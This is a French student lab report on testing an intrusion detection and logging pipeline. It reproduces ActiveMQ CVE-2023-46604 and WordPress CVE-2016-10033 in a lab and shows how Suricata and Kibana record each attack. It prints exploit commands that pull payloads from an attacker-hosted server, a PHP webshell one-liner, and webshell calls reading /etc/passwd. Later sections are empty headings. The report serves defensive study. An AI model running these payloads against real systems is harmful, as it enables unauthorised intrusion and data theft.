

UNIVERSITÉ DU QUÉBEC À CHICOUTIMI

DEPARTMENT OF COMPUTER SCIENCE AND MATHEMATICS

SYSTÈME DE DÉTECTION D'ANOMALIES ET DE GESTION DE LOGS POUR
LA SÉCURITÉ DES RÉSEAUX

Evaluation of the quantitative and qualitative aspects of security vulnerabilities in web applications generated by artificial intelligence

Student

Delepine Simon kuedejeu madeo Guy landry Vandamme Aliona Lapôtre
Marie-Steffie

October 4, 2026

Contents

List of Figures	2
1 Introduction	3
2 Scénario 1 : Attaque Active MQ (CVE-2023-46604)	3
2.1 Contexte et objectif	3
2.2 Environnement de test	3
2.3 Phase 1 : préparation de la charge utile	3
2.4 Phase 2 : exploitation et preuve de RCE	4
2.5 Phase 3 : détection par la chaîne de supervision	4
2.6 Synthèse	6
3 Scénario 2 : exploitation d'un WordPress vulnérable (CVE-2016-10033)	6
3.1 Contexte et objectif	6
3.2 Environnement de test	6
3.3 Phase 1 : reconnaissance	7
3.4 Phase 2 : préparation de la charge utile	7
3.5 Phase 3 : exploitation et exécution de code à distance	8
3.6 Phase 4 : post-exploitation	8
3.7 Phase 5 : détection par la chaîne de supervision	10
3.8 Synthèse	11
4 Scénario 3	11
5 Scénario 4	11
6 Scénario 5	11
7 Résultat et Discussion	11
8 Conclusion	11

List of Figures

1	Serveur HTTP de l'attaquant (port 6666) prêt à servir <code>poc.xml</code>	4
2	Lancement de <code>poc.py</code> contre <code>192.168.2.90:61616</code>	4
3	Téléchargement de <code>poc.xml</code> par la cible depuis le serveur HTTP de l'attaquant.	4
4	Preuve de RCE : fichier témoin présent dans le conteneur ActiveMQ.	5
5	Événements Suricata filtrés sur l'adresse de l'attaquant (<code>192.168.2.12</code>).	5
6	Balayage <code>nmap</code> révélant les ports ouverts de la cible.	7
7	Identification du serveur web et de la version de PHP via les en-têtes HTTP.	7
8	Serveur HTTP de l'attaquant hébergeant la charge utile <code>1.txt</code>	8
9	Contenu de la charge utile : dépôt du webshell <code>ids.php</code> dans la racine web.	8
10	Preuve de l'exécution de code à distance : le webshell renvoie l'identité <code>www-data</code>	8
11	Exécution de commandes via le webshell : <code>whoami</code> et lecture de <code>/etc/passwd</code>	9
12	Énumération de la racine web <code>/var/www/html</code> à travers le webshell.	9
13	Événement HTTP enregistré par Suricata correspondant à l'appel du webshell.	10
14	Capture en temps réel des requêtes vers <code>ids.php</code> dans <code>eve.json</code>	10

1 Introduction

All the code is available on the github

https://github.com/SimonDelep/-Syst-me_de_d-tection_d_anomalies-

2 Scénario 1 : Attaque Active MQ (CVE-2023-46604)

2.1 Contexte et objectif

Ce scénario porte sur une exécution de code à distance (RCE) contre **Apache ActiveMQ**, middleware de messagerie très répandu en entreprise. La faille **CVE-2023-46604** touche le protocole *OpenWire* (port TCP 61616) : un attaquant disposant d'un accès réseau peut envoyer des données sérialisées malveillantes qui entraînent le chargement d'un fichier de configuration Spring distant et, via **ProcessBuilder**, l'exécution d'une commande arbitraire sur le serveur broker.

Comme pour le scénario WordPress, l'objectif défensif est double : reproduire l'attaque en laboratoire et vérifier que la chaîne Suricata, Filebeat, Elasticsearch et Kibana conserve une trace exploitable de chaque étape (réseau et, le cas échéant, alertes).

2.2 Environnement de test

- **Cible** : VM IDS-Lab (192.168.2.90) exécutant le conteneur `vulhub/activemq:5.17.3` (ActiveMQ 5.17.3) via Docker Compose dans `/attaque_mq`. Les ports publiés sont 61616 (OpenWire), 8161 (console web) et 5005 (débugage JVM). La variable d'environnement `JAVA_TOOL_OPTIONS=-XX:-UseContainerSupport` a été ajoutée pour contourner un plantage du JDK 11 embarqué sur un hôte en *cgroup v2*.
- **Attaquant** : poste Windows (192.168.2.12), même réseau local que la cible.
- **Supervision** : Suricata sur `enp0s8`, journaux `/var/log/suricata/eve.json`, envoi vers Elasticsearch par Filebeat, visualisation dans Kibana (:5601).
- **Artefacts d'exploitation** : `poc.py` et `poc.xml` du dépôt `vulhub/CVE-2023-46604`. Le XML par défaut lance `touch /tmp/activeMQ-RCE-success` dans le conteneur.

2.3 Phase 1 : préparation de la charge utile

L'exploit ne se limite pas à un unique paquet : ActiveMQ doit récupérer le fichier XML hébergé par l'attaquant. Un serveur HTTP minimal est donc démarré sur Windows dans le répertoire du PoC (Figure 1) :

```
python -m http.server 6666
```

Le fichier `poc.xml` décrit un bean Spring instanciant `java.lang.ProcessBuilder` avec la commande de preuve. Tant que ce serveur écoute, la cible pourra télécharger la charge utile dès que le script `poc.py` aura déclenché la désérialisation vulnérable.

```
PS C:\Users\simon\Desktop\UQAC\Uqac semestre 3\Projet_calisse\File_pour_faire_les_attaques\Attaque_Active_MQ\CVE-2023-46604> python -m http.server 6666
Serving HTTP on :: port 6666 (http://[::]:6666/) ...
```

Figure 1: Serveur HTTP de l'attaquant (port 6666) prêt à servir poc.xml.

2.4 Phase 2 : exploitation et preuve de RCE

La seconde phase envoie la trame OpenWire malveillante vers le broker et indique l'URL du XML (Figure 2) :

```
python poc.py 192.168.2.90 61616 http://192.168.2.12:6666/poc.xml
```

Le script ne produit en général aucune sortie console ; la réussite se vérifie côté serveur HTTP et sur la cible. La Figure 3 montre deux requêtes GET /poc.xml HTTP/1.1 depuis 192.168.2.90 avec le code 200, preuve que le broker Java a bien récupéré le fichier sur la machine attaquante.

```
PS C:\Users\simon\Desktop\UQAC\Uqac semestre 3\Projet_calisse\File_pour_faire_les_attaques\Attaque_Active_MQ\CVE-2023-46604> python poc.py 192.168.2.90 61616 http://192.168.2.12:6666/poc.xml
```

Figure 2: Lancement de poc.py contre 192.168.2.90:61616.

```
PS C:\Users\simon\Desktop\UQAC\Uqac semestre 3\Projet_calisse\File_pour_faire_les_attaques\Attaque_Active_MQ\CVE-2023-46604> python -m http.server 6666
Serving HTTP on :: port 6666 (http://[::]:6666/) ...
::ffff:192.168.2.90 - - [04/Oct/2026 11:48:38] "GET /poc.xml HTTP/1.1" 200 -
::ffff:192.168.2.90 - - [04/Oct/2026 11:48:38] "GET /poc.xml HTTP/1.1" 200 -
```

Figure 3: Téléchargement de poc.xml par la cible depuis le serveur HTTP de l'attaquant.

La compromission est confirmée *in situ* en inspectant le conteneur (Figure 4) : le fichier témoin /tmp/activeMQ-RCE-success a été créé avec l'utilisateur root à l'intérieur du broker, ce qui valide l'exécution de code à distance.

2.5 Phase 3 : détection par la chaîne de supervision

Contrairement à l'attaque WordPress, le canal d'exploitation principal (OpenWire, port 61616) n'apparaît pas sous forme de requêtes HTTP classiques dans les journaux. En revanche, le second flux — le téléchargement de poc.xml depuis 192.168.2.12:6666 — produit des événements `event_type: http` visibles dans `eve.json` (User-Agent Java/11.0.16, URL /poc.xml, statut 200). La Figure 5 illustre la surveillance en direct à l'aide de :

```
sudo tail -f /var/log/suricata/eve.json | grep -a --line-buffered "192.168.2.12"
```

On y observe à la fois le trafic HTTP de récupération de la charge utile et, dans la même fenêtre temporelle, d'autres connexions depuis le poste attaquant vers la VM (par exemple l'accès à Kibana pour l'analyse).

Après indexation par Filebeat, les mêmes champs permettent de retrouver l'incident dans Kibana (Discover ou tableaux de bord du module Suricata). La Table 1 résume les filtres les plus utiles pour ce scénario.

```
madeo@IDS-Lab:~/attaque_mq$ sudo docker exec attaque_mq-activemq-1 ls -l /tmp/activeMQ-RCE-success
-rw-r--r-- 1 root root 0 Oct  4 15:48 /tmp/activeMQ-RCE-success
```

Figure 4: Preuve de RCE : fichier témoin présent dans le conteneur ActiveMQ.

```
madeo@IDS-Lab:~/attaque_mq$ sudo tail -f /var/log/suricata/eve.json | grep -a --line-buffered "192.168.2.12"
{"timestamp": "2026-10-04T15:56:03.319805+0000", "flow_id": "1020962539909744", "in_iface": "enp0s8", "event_type": "fileinfo", "src_ip": "192.168.2.12", "src_port": "6666", "dest_ip": "192.168.2.90", "dest_port": "55638", "proto": "TCP", "ip_v": "4", "pkt_src": "wire/pcap", "http": {"hostname": "192.168.2.12", "http_port": "6666", "url": "/poc.xml", "http_user_agent": "Java/11.0.16", "http_content_type": "text/xml", "http_method": "GET", "protocol": "HTTP/1.1", "status": "200", "length": "592", "app_proto": "http", "fileinfo": {"filename": "/poc.xml", "gaps": false, "state": "CLOSED", "stored": false, "size": "592", "tx_id": "0"}}}
{"timestamp": "2026-10-04T15:56:19.831830+0000", "flow_id": "1006780011186581", "in_iface": "enp0s8", "event_type": "http", "src_ip": "192.168.2.90", "src_port": "36168", "dest_ip": "192.168.2.12", "dest_port": "6666", "proto": "TCP", "ip_v": "4", "pkt_src": "wire/pcap", "tx_id": "0", "http": {"hostname": "192.168.2.12", "http_port": "6666", "url": "/poc.xml", "http_user_agent": "Java/11.0.16", "http_content_type": "text/xml", "http_method": "GET", "protocol": "HTTP/1.1", "status": "200", "length": "592"}}}
{"timestamp": "2026-10-04T15:56:19.840044+0000", "flow_id": "1043971185084591", "in_iface": "enp0s8", "event_type": "http", "src_ip": "192.168.2.90", "src_port": "36182", "dest_ip": "192.168.2.12", "dest_port": "6666", "proto": "TCP", "ip_v": "4", "pkt_src": "wire/pcap", "tx_id": "0", "http": {"hostname": "192.168.2.12", "http_port": "6666", "url": "/poc.xml", "http_user_agent": "Java/11.0.16", "http_content_type": "text/xml", "http_method": "GET", "protocol": "HTTP/1.1", "status": "200", "length": "592"}}}
{"timestamp": "2026-10-04T15:56:19.841472+0000", "flow_id": "1043971185084591", "in_iface": "enp0s8", "event_type": "fileinfo", "src_ip": "192.168.2.12", "src_port": "6666", "dest_ip": "192.168.2.90", "dest_port": "36182", "proto": "TCP", "ip_v": "4", "pkt_src": "wire/pcap", "http": {"hostname": "192.168.2.12", "http_port": "6666", "url": "/poc.xml", "http_user_agent": "Java/11.0.16", "http_content_type": "text/xml", "http_method": "GET", "protocol": "HTTP/1.1", "status": "200", "length": "592", "app_proto": "http", "fileinfo": {"filename": "/poc.xml", "gaps": false, "state": "CLOSED", "stored": false, "size": "592", "tx_id": "0"}}}
{"timestamp": "2026-10-04T15:56:19.844639+0000", "flow_id": "1006780011186581", "in_iface": "enp0s8", "event_type": "fileinfo", "src_ip": "192.168.2.12", "src_port": "6666", "dest_ip": "192.168.2.90", "dest_port": "36168", "proto": "TCP", "ip_v": "4", "pkt_src": "wire/pcap", "http": {"hostname": "192.168.2.12", "http_port": "6666", "url": "/poc.xml", "http_user_agent": "Java/11.0.16", "http_content_type": "text/xml", "http_method": "GET", "protocol": "HTTP/1.1", "status": "200", "length": "592", "app_proto": "http", "fileinfo": {"filename": "/poc.xml", "gaps": false, "state": "CLOSED", "stored": false, "size": "592", "tx_id": "0"}}}
{"timestamp": "2026-10-04T15:56:20.669769+0000", "flow_id": "778517550387324", "in_iface": "enp0s8", "event_type": "http", "src_ip": "192.168.2.12", "src_port": "34421", "dest_ip": "192.168.2.90", "dest_port": "5601", "proto": "TCP", "ip_v": "4", "pkt_src": "wire/pcap", "tx_id": "65", "http": {"hostname": "192.168.2.90", "http_port": "5601", "url": "/internal/bsearch?compress=true", "http_user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:157.0) Gecko/20100101 Firefox/157.0", "http_referer": "http://192.168.2.90:5601/app/discover", "http_method": "POST", "protocol": "HTTP/1.1", "length": "0"}}}
{"timestamp": "2026-10-04T15:56:20.810150+0000", "flow_id": "778517550387324", "in_iface": "enp0s8", "event_type": "fileinfo", "src_ip": "192.168.2.12", "src_port": "34421", "dest_ip": "192.168.2.90", "dest_port": "5601", "proto": "TCP", "ip_v": "4", "pkt_src": "wire/pcap", "http": {"hostname": "192.168.2.90", "http_port": "5601", "url": "/internal/bsearch?compress=true", "http_user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:157.0) Gecko/20100101 Firefox/157.0", "http_referer": "http://192.168.2.90:5601/app/discover", "http_method": "POST", "protocol": "HTTP/1.1", "length": "0", "app_proto": "http", "fileinfo": {"filename": "/internal/bsearch", "gaps": false, "state": "CLOSED", "stored": false, "size": "29802", "tx_id": "65"}}}
{"timestamp": "2026-10-04T15:56:47.716437+0000", "flow_id": "758828371671017", "in_iface": "enp0s8", "event_type": "flow", "src_ip": "192.168.2.90", "src_port": "5232"}
```

Figure 5: Événements Suricata filtrés sur l'adresse de l'attaquant (192.168.2.12).

Donnée	Champ Kibana	Exemple de valeur
IP de l'attaquant	source.ip	192.168.2.12
IP de la cible	destination.ip	192.168.2.90
Port du broker	destination.port	61616
Récupération XML	url.original	/poc.xml
Client Java	user_agent.original	Java/11.0.16
Type d'événement	suricata.eve.event_type	http, flow

Table 1: Champs Elasticsearch pour retrouver l'attaque ActiveMQ dans Kibana.

Exemples de requêtes KQL : `destination.port : 61616 and source.ip : "192.168.2.12"` pour le flux OpenWire ; `url.original : *poc.xml*` pour le téléchargement de la charge utile.

2.6 Synthèse

La CVE-2023-46604 montre qu'un service de messagerie exposé sur le réseau peut être compromis sans authentification préalable, à condition de contrôler un hôte capable de servir le XML malveillant. Sur le plan défensif, la chaîne ELK reste pertinente : même lorsque le protocole applicatif (OpenWire) est opaque, les étapes auxiliaires (HTTP vers `poc.xml`) et les flux TCP vers le port 61616 laissent des traces corrélables. Comme pour WordPress, Suricata offre surtout la *visibilité* ; des règles dédiées ActiveMQ ou OpenWire seraient nécessaires pour générer des alertes explicites sans filtrage manuel.

3 Scénario 2 : exploitation d'un WordPress vulnérable (CVE-2016-10033)

3.1 Contexte et objectif

Ce scénario illustre une attaque complète contre une application web WordPress volontairement vulnérable, depuis la reconnaissance jusqu'à l'exécution de commandes à distance, puis sa détection par la chaîne de supervision. L'objectif n'est pas seulement de compromettre la cible, mais surtout de vérifier que notre système de détection (Suricata, Filebeat, Elasticsearch et Kibana) capture bien chaque phase de l'attaque et permet de la retrouver a posteriori. La vulnérabilité exploitée est la CVE-2016-10033, une exécution de code à distance (RCE) affectant la bibliothèque PHPMailer utilisée par WordPress 4.6. Lors d'une demande de réinitialisation de mot de passe, l'en-tête HTTP `Host` de la requête est transmis sans assainissement à la commande `sendmail` comme adresse d'expéditeur. En injectant des arguments dans cet en-tête, un attaquant non authentifié peut faire exécuter une commande système arbitraire par le serveur.

3.2 Environnement de test

L'environnement reproduit une architecture réaliste composée des éléments suivants :

- **Cible** : une machine virtuelle IDS-Lab (192.168.2.90) hébergeant via Docker Compose deux conteneurs : `vulhub/wordpress:4.6` exposé sur le port 8080 et `mysql:5` pour la base de données.
- **Attaquant** : un poste Windows (192.168.2.12) sur le même réseau local.
- **Supervision** : Suricata inspecte le trafic sur l'interface `enp0s8` et journalise les transactions réseau dans `/var/log/suricata/eve.json`. Filebeat expédie ces journaux vers Elasticsearch (port 9200), consultés ensuite dans Kibana (port 5601).

3.3 Phase 1 : reconnaissance

La première étape consiste à cartographier les services exposés par la cible. Un balayage de ports (Figure 6) confirme l'ouverture des ports 8080 (serveur web WordPress), 5601 (interface Kibana) et 9200 (Elasticsearch). Le mode `-sT -Pn` a été employé afin d'utiliser la pile TCP du système d'exploitation et d'ignorer la phase de découverte par *ping*.

```
PS C:\Users\simon> nmap -sT -Pn -p 8080,5601,9200 192.168.2.90
Starting Nmap 7.991 ( https://nmap.org ) at 2026-10-04 03:11 -0400
Nmap scan report for 192.168.2.90
Host is up (0.00023s latency).

PORT      STATE SERVICE
5601/tcp  open  esmagent
8080/tcp  open  http-proxy
9200/tcp  open  wap-wsp

Nmap done: 1 IP address (1 host up) scanned in 0.56 seconds
PS C:\Users\simon>
```

Figure 6: Balayage `nmap` révélant les ports ouverts de la cible.

Une simple requête `curl` sur la page de connexion (Figure 7) permet ensuite d'identifier la technologie sous-jacente : l'en-tête de réponse dévoile un serveur Apache/2.4.7 (Ubuntu) et surtout PHP/5.5.9, une version ancienne cohérente avec WordPress 4.6, ce qui oriente vers la CVE-2016-10033.

```
PS C:\Users\simon> curl.exe -I http://192.168.2.90:8080/wp-login.php
HTTP/1.1 200 OK
Date: Sun, 04 Oct 2026 00:51:18 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.21
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Set-Cookie: wordpress_test_cookie=WP+Cookie+check; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html; charset=UTF-8
```

Figure 7: Identification du serveur web et de la version de PHP via les en-têtes HTTP.

3.4 Phase 2 : préparation de la charge utile

L'exploit utilisé (`pwnscriptum`) procède en deux temps : il injecte d'abord une commande qui fait télécharger un script par la cible, puis une seconde commande qui exécute ce script. Il faut donc héberger la charge utile sur un serveur accessible depuis la cible. Un serveur web minimal est lancé côté attaquant à l'aide de `python -m http.server 80` (Figure 8) ; les lignes `GET /1.txt` confirment que la cible récupère bien le fichier.

```
PS C:\Users\simon\Desktop\UQAC\Uqac semestre 3\Projet_calisse\File_pour_faire_les_attaques\Attaque_Word_press\pwncscriptum> python -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
::ffff:192.168.2.90 - - [04/Oct/2026 03:34:13] "GET /1.txt HTTP/1.1" 200 -
::ffff:127.0.0.1 - - [04/Oct/2026 03:34:21] "GET /1.txt HTTP/1.1" 200 -
```

Figure 8: Serveur HTTP de l'attaquant hébergeant la charge utile 1.txt.

Le contenu de la charge utile (Figure 9) dépose un *webshell* PHP minimal dans la racine web du serveur ; ce fichier `ids.php` exécute toute commande passée dans le paramètre `c` de l'URL. Un fichier témoin `/tmp/pwned_ids` est également créé pour valider l'exécution.

```
PS C:\Users\simon\Desktop\UQAC\Uqac semestre 3\Projet_calisse\File_pour_faire_les_attaques\Attaque_Word_press\pwncscriptum> python .\exploit.py http://192.168.2.90:8080 192.168.2.12/1.txt

PS C:\Users\simon\Desktop\UQAC\Uqac semestre 3\Projet_calisse\File_pour_faire_les_attaques\Attaque_Word_press\pwncscriptum> curl.exe -s http://127.0.0.1/1.txt
echo '<?php system($_GET["c"]); ?>' > /var/www/html/wp-content/ids.php
touch /tmp/pwned_ids
PS C:\Users\simon\Desktop\UQAC\Uqac semestre 3\Projet_calisse\File_pour_faire_les_attaques\Attaque_Word_press\pwncscriptum> |
```

Figure 9: Contenu de la charge utile : dépôt du webshell `ids.php` dans la racine web.

3.5 Phase 3 : exploitation et exécution de code à distance

Le lancement de l'exploit déclenche l'injection dans l'en-tête `Host`, puis le téléchargement et l'exécution de la charge utile. La compromission est confirmée en invoquant le webshell avec la commande `id` (Figure 10) : le serveur répond `uid=33(www-data)`, prouvant que l'attaquant exécute désormais des commandes arbitraires avec les privilèges du serveur web.

```
PS C:\Users\simon\Desktop\UQAC\Uqac semestre 3\Projet_calisse\File_pour_faire_les_attaques\Attaque_Word_press\pwncscriptum> python .\exploit.py http://192.168.2.90:8080 192.168.2.12/1.txt

PS C:\Users\simon\Desktop\UQAC\Uqac semestre 3\Projet_calisse\File_pour_faire_les_attaques\Attaque_Word_press\pwncscriptum> curl.exe "http://192.168.2.90:8080/wp-content/ids.php?c=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
PS C:\Users\simon\Desktop\UQAC\Uqac semestre 3\Projet_calisse\File_pour_faire_les_attaques\Attaque_Word_press\pwncscriptum> |
```

Figure 10: Preuve de l'exécution de code à distance : le webshell renvoie l'identité `www-data`.

3.6 Phase 4 : post-exploitation

Une fois le webshell en place, l'attaquant dispose d'un accès interactif au système. La Figure 11 montre l'exécution de `whoami` puis la lecture du fichier `/etc/passwd`, c'est-à-dire l'exfiltration d'informations sensibles sur les comptes du système. La Figure 12 présente l'énumération complète de la racine WordPress (`/var/www/html`), confirmant un contrôle total de l'arborescence de l'application.

```
PS C:\Users\simon\Desktop\UQAC\Uqac semestre 3\Projet_calisse\File_pour_faire_les_attaques\Attaque_Word_press\pwnscriptum> curl.exe "http://192.168.2.90:8080/wp-content/ids.php?c=whoami"
www-data
PS C:\Users\simon\Desktop\UQAC\Uqac semestre 3\Projet_calisse\File_pour_faire_les_attaques\Attaque_Word_press\pwnscriptum> curl.exe "http://192.168.2.90:8080/wp-content/ids.php?c=cat%20/etc/passwd"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin)/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
Debian-exim:x:102:105::/var/spool/exim4:/bin/false
PS C:\Users\simon\Desktop\UQAC\Uqac semestre 3\Projet_calisse\File_pour_faire_les_attaques\Attaque_Word_press\pwnscriptum> |
```

Figure 11: Exécution de commandes via le webshell : whoami et lecture de /etc/passwd.

```
PS C:\Users\simon\Desktop\UQAC\Uqac semestre 3\Projet_calisse\File_pour_faire_les_attaques\Attaque_Word_press\pwnscriptum> curl.exe "http://192.168.2.90:8080/wp-content/ids.php?c=ls%20-l%20/var/www/html"
total 204
drwxr-xr-x 1 www-data www-data 4096 Oct 4 02:53 .
drwxr-xr-x 1 root root 4096 May 7 2017 ..
-rw-r--r-- 1 www-data www-data 234 Oct 4 02:53 .htaccess
-rw-rw-r-- 1 www-data www-data 418 Aug 16 2016 index.php
-rw-rw-r-- 1 www-data www-data 19935 Aug 16 2016 license.txt
-rw-rw-r-- 1 www-data www-data 7342 Aug 16 2016 readme.html
-rw-rw-r-- 1 www-data www-data 5456 Aug 16 2016 wp-activate.php
drwxrwxr-x 9 www-data www-data 4096 Aug 16 2016 wp-admin
-rw-rw-r-- 1 www-data www-data 364 Aug 16 2016 wp-blog-header.php
-rw-rw-r-- 1 www-data www-data 1477 Aug 16 2016 wp-comments-post.php
-rw-rw-r-- 1 www-data www-data 2764 Oct 4 02:53 wp-config-sample.php
-rw-r--r-- 1 www-data www-data 3187 Oct 4 02:53 wp-config.php
drwxrwxr-x 4 www-data www-data 4096 Oct 4 03:36 wp-content
-rw-rw-r-- 1 www-data www-data 3286 Aug 16 2016 wp-cron.php
drwxrwxr-x 17 www-data www-data 12288 Aug 16 2016 wp-includes
-rw-rw-r-- 1 www-data www-data 2382 Aug 16 2016 wp-links-opml.php
-rw-rw-r-- 1 www-data www-data 3353 Aug 16 2016 wp-load.php
-rw-rw-r-- 1 www-data www-data 34057 Aug 16 2016 wp-login.php
-rw-rw-r-- 1 www-data www-data 7786 Aug 16 2016 wp-mail.php
-rw-rw-r-- 1 www-data www-data 13920 Aug 16 2016 wp-settings.php
-rw-rw-r-- 1 www-data www-data 29890 Aug 16 2016 wp-signup.php
-rw-rw-r-- 1 www-data www-data 4035 Aug 16 2016 wp-trackback.php
-rw-rw-r-- 1 www-data www-data 3064 Aug 16 2016 xmlrpc.php
PS C:\Users\simon\Desktop\UQAC\Uqac semestre 3\Projet_calisse\File_pour_faire_les_attaques\Attaque_Word_press\pwnscriptum> |
```

Figure 12: Énumération de la racine web /var/www/html à travers le webshell.

3.7 Phase 5 : détection par la chaîne de supervision

L'ensemble de l'attaque transite par le réseau et se trouve donc capturé par Suricata. Chaque requête HTTP vers le webshell génère un événement `event_type: http` dans `eve.json`, incluant l'URL complète, la méthode, l'adresse source et le code de réponse. La Figure 13 montre un tel événement pour la requête `/wp-content/ids.php?c=uname -a`, tandis que la Figure 14 illustre la capture en temps réel des requêtes `ids.php` directement dans le journal de Suricata.

```
{
  "timestamp": "2026-10-04T15:14:02.325067+0000",
  "flow_id": 763905364232207,
  "in_iface": "enp0s8",
  "event_type": "http",
  "src_ip": "192.168.2.12",
  "src_port": 36924,
  "dest_ip": "192.168.2.90",
  "dest_port": 8080,
  "proto": "TCP",
  "ip_v": 4,
  "pkt_src": "wire/pcap",
  "tx_id": 0,
  "http": {
    "hostname": "192.168.2.90",
    "http_port": 8080,
    "url": "/wp-content/ids.php?c=uname%20-a",
    "http_user_agent": "curl/8.21.0",
    "http_content_type": "text/html",
    "http_method": "GET",
    "protocol": "HTTP/1.1",
    "status": 200,
    "length": 127
  }
}
```

Figure 13: Événement HTTP enregistré par Suricata correspondant à l'appel du webshell.

```
madeo@IDS-Lab:~$ tail -f /var/log/suricata/eve.json | grep -a --line-buffered "ids.php"
{"timestamp": "2026-10-04T15:13:24.398318+0000", "flow_id": 1295627781389111, "in_iface": "enp0s8", "event_type": "http", "src_ip": "192.168.2.12", "src_port": 36918, "dest_ip": "192.168.2.90", "dest_port": 8080, "proto": "TCP", "ip_v": 4, "pkt_src": "wire/pcap", "tx_id": 0, "http": { "hostname": "192.168.2.90", "http_port": 8080, "url": "/wp-content/ids.php?c=id", "http_user_agent": "curl/8.21.0", "http_content_type": "text/html", "http_method": "GET", "protocol": "HTTP/1.1", "status": 200, "length": 54 } }
{"timestamp": "2026-10-04T15:13:24.399977+0000", "flow_id": 1295627781389111, "in_iface": "enp0s8", "event_type": "fileinfo", "src_ip": "192.168.2.90", "src_port": 8080, "dest_ip": "192.168.2.12", "dest_port": 36918, "proto": "TCP", "ip_v": 4, "pkt_src": "wire/pcap", "http": { "hostname": "192.168.2.90", "http_port": 8080, "url": "/wp-content/ids.php?c=id", "http_user_agent": "curl/8.21.0", "http_content_type": "text/html", "http_method": "GET", "protocol": "HTTP/1.1", "status": 200, "length": 54 }, "app_proto": "http", "fileinfo": { "filename": "/wp-content/ids.php", "gaps": false, "state": "CLOSED", "stored": false, "size": 54, "tx_id": 0 } }
```

Figure 14: Capture en temps réel des requêtes vers `ids.php` dans `eve.json`.

Après transfert par Filebeat, ces événements sont indexés dans Elasticsearch et exploitables dans Kibana. Les champs utiles pour reconstituer l'attaque sont récapitulés dans la Table 2. Un filtre tel que `url.original : *ids.php*` isole l'activité du webshell, et `source.ip : "192.168.2.12"` regroupe l'ensemble du trafic malveillant provenant du poste attaquant.

Donnée	Champ Kibana	Exemple de valeur
IP de l'attaquant	<code>source.ip</code>	192.168.2.12
IP de la cible	<code>destination.ip</code>	192.168.2.90
Port visé	<code>destination.port</code>	8080
URL complète	<code>url.original</code>	/wp-content/ids.php?c=id
Méthode HTTP	<code>http.request.method</code>	GET
Type d'événement	<code>suricata.eve.event_type</code>	http

Table 2: Principaux champs Elasticsearch permettant de retrouver l'attaque dans Kibana.

3.8 Synthèse

Ce scénario démontre qu’une vulnérabilité applicative connue permet, en quelques étapes, de passer d’un simple accès réseau à une exécution de code complète sur le serveur. Du point de vue défensif, il valide la capacité de la chaîne Suricata → Filebeat → Elasticsearch → Kibana à offrir une visibilité complète sur l’attaque : chaque requête malveillante est journalisée et reste recherchable a posteriori. Il met toutefois en évidence une limite : en l’absence d’un jeu de règles applicatif, Suricata assure la *visibilité* des transactions mais ne lève pas d’*alerte* automatique sur ce type d’attaque. L’ajout de règles de détection dédiées (par exemple sur l’accès à un fichier PHP inconnu dans `wp-content` recevant un paramètre de commande) constitue une piste d’amélioration naturelle.

4 Scénario 3

5 Scénario 4

6 Scénario 5

7 Résultat et Discussion

8 Conclusion